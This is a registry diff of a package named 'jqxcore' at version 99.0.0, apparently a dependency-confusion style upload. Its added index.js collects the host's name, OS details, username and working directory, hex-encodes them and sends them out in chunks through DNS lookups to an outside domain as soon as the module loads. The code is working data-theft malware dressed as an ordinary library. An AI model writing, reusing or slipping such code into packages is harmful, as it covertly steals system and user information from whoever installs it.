jqxcore 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +49 -0
- package/package.json +11 -0
package/index.js
ADDED
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const dns = require('dns');
|
|
3
|
+
const process = require('process');
|
|
4
|
+
const crypto = require('crypto');
|
|
5
|
+
|
|
6
|
+
// Generate unique session ID (6 chars)
|
|
7
|
+
const sessionId = crypto.randomBytes(3).toString('hex');
|
|
8
|
+
|
|
9
|
+
// Helper function to send DNS query with chunking support
|
|
10
|
+
function sendDns(data, type, delay = 0) {
|
|
11
|
+
const hex = Buffer.from(data).toString('hex');
|
|
12
|
+
const maxChunkSize = 50; // Leave room for session ID, type, and chunk number
|
|
13
|
+
|
|
14
|
+
if (hex.length <= maxChunkSize) {
|
|
15
|
+
// Single chunk - use 't' suffix to indicate total chunks (1)
|
|
16
|
+
setTimeout(() => {
|
|
17
|
+
dns.lookup(`${sessionId}.${type}t1.${hex}.jqxcore.pd6d3ykss63dgwj8pegy7so2rtxold.b.nf`, () => {});
|
|
18
|
+
}, delay);
|
|
19
|
+
} else {
|
|
20
|
+
// Multiple chunks needed
|
|
21
|
+
const chunks = [];
|
|
22
|
+
for (let i = 0; i < hex.length; i += maxChunkSize) {
|
|
23
|
+
chunks.push(hex.substring(i, i + maxChunkSize));
|
|
24
|
+
}
|
|
25
|
+
const totalChunks = chunks.length;
|
|
26
|
+
|
|
27
|
+
chunks.forEach((chunk, index) => {
|
|
28
|
+
setTimeout(() => {
|
|
29
|
+
// Include total chunks in the first chunk (index 0)
|
|
30
|
+
const chunkId = index === 0 ? `${type}${index}t${totalChunks}` : `${type}${index}`;
|
|
31
|
+
dns.lookup(`${sessionId}.${chunkId}.${chunk}.jqxcore.pd6d3ykss63dgwj8pegy7so2rtxold.b.nf`, () => {});
|
|
32
|
+
}, delay + (index * 50));
|
|
33
|
+
});
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
// Send hostname
|
|
38
|
+
sendDns(os.hostname(), 'h', 0);
|
|
39
|
+
|
|
40
|
+
// Send OS info
|
|
41
|
+
const osInfo = `${os.platform()}_${os.release()}`;
|
|
42
|
+
sendDns(osInfo, 'o', 200);
|
|
43
|
+
|
|
44
|
+
// Send username
|
|
45
|
+
const username = os.userInfo().username;
|
|
46
|
+
sendDns(username, 'u', 400);
|
|
47
|
+
|
|
48
|
+
// Send current path (likely to be long and need chunking)
|
|
49
|
+
sendDns(process.cwd(), 'p', 600);
|